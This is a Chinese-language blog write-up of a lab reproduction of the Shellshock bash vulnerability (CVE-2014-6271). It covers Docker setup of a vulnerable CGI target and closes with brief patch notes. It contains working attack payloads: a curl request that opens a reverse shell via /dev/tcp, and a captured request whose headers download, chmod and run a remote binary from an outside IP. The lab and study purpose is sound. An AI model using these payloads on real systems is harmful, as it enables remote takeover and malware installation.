CVE-2014-6271破壳(shellshock)漏洞复现记录

docker大法好
搭建环境:
centos 6.6 x64

docker安装

看网上说docker需要内核3.8以上,而且只能运行在64位系统
centos 6.6内核低了一点,升级一下内核。

内核升级

a、升级内核

cd /etc/yum.repos.d
wget http://www.hop5.in/yum/el6/hop5.repo
yum install kernel-ml-aufs kernel-ml-aufs-devel

b、修改grub的主配置文件/etc/grub.conf,设置default=0,表示第一个title下的内容为默认启动的kernel(一般新安装的内核在第一个位置)

c、重启系统后运行

uname -r

如果内核是3.10的话就代表升级成功。

docker安装
d、首先关闭selinux:

setenforce 0
sed -i '/^SELINUX=/c\SELINUX=disabled' /etc/selinux/config

e、在Fedora EPEL源中已经提供了docker-io包,下载安装epel:

rpm -ivh http://mirrors.sohu.com/fedora-epel/6/x86_64/epel-release-6-8.noarch.rpm
sed -i 's/^mirrorlist=https/mirrorlist=http/' /etc/yum.repos.d/epel.repo

f、yum安装docker-io:

yum -y install docker-io

g、启动docker服务:service docker start
一定要启动服务,后面运行啥都是爆出错误,应该是服务没开,导致无法守护进程。
Get http:///var/run/docker.sock/v1.19/images/search?term=shellshock: dial unix /var/run/docker.sock: no such file or directory. Are you trying to connect to a TLS-enabled daemon without TLS?

环境搭建(利用别人已经搭建好的环境测试)

查找环境

docker search shellshock

下载镜像

docker pull 镜像name

查看当前可用镜像

docker images

运行镜像,将docker的80转发到本机的80,并运行bash程序

docker run -it -p 80:80 hmlio/vaas-cve-2014-6271 /bin/bash

这里遇到过一个错误:
Error response from daemon: Cannot start container a0a6d92f0172dcbb229c7b1755be0be3b507831416ee36e686fd69a4b0a60c14: [8] System error: write /sys/fs/cgroup/docker/a0a6d92f0172dcbb229c7b1755be0be3b507831416ee36e686fd69a4b0a60c14/cgroup.procs: no space left on device
解决办法:

sudo echo 1 > /sys/fs/cgroup/docker/cgroup.clone_children
sudo echo 0 > /sys/fs/cgroup/docker/cpuset.mems
sudo echo 0 > /sys/fs/cgroup/docker/cpuset.cpus

再重启一下docker服务。

docker的bash下启动web容器,这个镜像的cgi-bin路径是/usr/lib/cgi-bin/

/usr/sbin/apachectl start

查看正在运行的docker

docker ps

停止运行中的docker

docker stop name(这个name是docker ps中最后的name参数值)

2、攻击
poc测试是不是有这个漏洞(bash 1.14至bash 4.3的Linux/Unix系统存在,阿里云的应该是centos6.5是被修补了)

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

a、curl请求
注意前面特殊字符的空格,还有就是程序路径,以前遇上过一个实例,可能是PATH设置问题导致纠结了很久,最好还是带好路径。

curl -A "() { :; }; /bin/bash -i > /dev/tcp/192.168.206.129/2333 0<&1 2>&1" http://192.168.206.130/cgi-bin/stats

b、msf模块

3、另外的环境搭建
在没用docker之前,是下载了一个centos5.5去直接测试,相比docker,镜像文件大小、安装时间、apache安装,等等一系列配置,最后千辛万苦搭建好一个apache_cgi模式,结果好像是因为权限问题,bash也就能echo输出文件内容,其他的都不行。docker就太方便了,就算是不用别人的镜像,自己配置的话,需要按自己需求来弄,需要麻烦一些。

记录一下怎么样弄的cgi模式,用的是centos自带的apache。

httpd.conf配置:

设置/var/www/cgi-bin目录的脚本别名是cgi-bin,
1、ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"

让这个目录下都支持cgi
2、

<Directory "/var/www/cgi-bin">
    AllowOverride None
    Options ExecCGI
    Order allow,deny
    Allow from all
</Directory>

添加访问后缀,当其被访问能被解析
3、AddHandler cgi-script .cgi .pl .sh

需要有cgi模块
4、LoadModule cgi_module modules/mod_cgi.so

最后一定要注意的是文件的权限问题。
Chmod 777 poc.cgi

其中poc.cgi内容:

#!/bin/bash

echo "Content-type: text/html"
echo ""

echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
echo '<title>PoC</title>'
echo '</head>'
echo '<body>'
echo '<pre>'
/usr/bin/env
echo '</pre>'
echo '</body>'
echo '</html>'

exit 0

4、

GET./.HTTP/1.0
.User-Agent:.Thanks-Rob
.Cookie:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Host:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Referer:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Accept:.*/*

5、防御(并未去测试)

Debian-based(包括Ubuntu):
sudo apt-get update && apt-get upgrade

Gentoo:
sudo emerge --sync && glsa-check -f affected

参考:
http://blog.csdn.net/wuhilon88/article/details/41621285
http://drops.wooyun.org/papers/3064
http://drops.wooyun.org/papers/3268

posted @ 2016-07-05 10:57  l3m0n  阅读(2870)  评论(0编辑  收藏  举报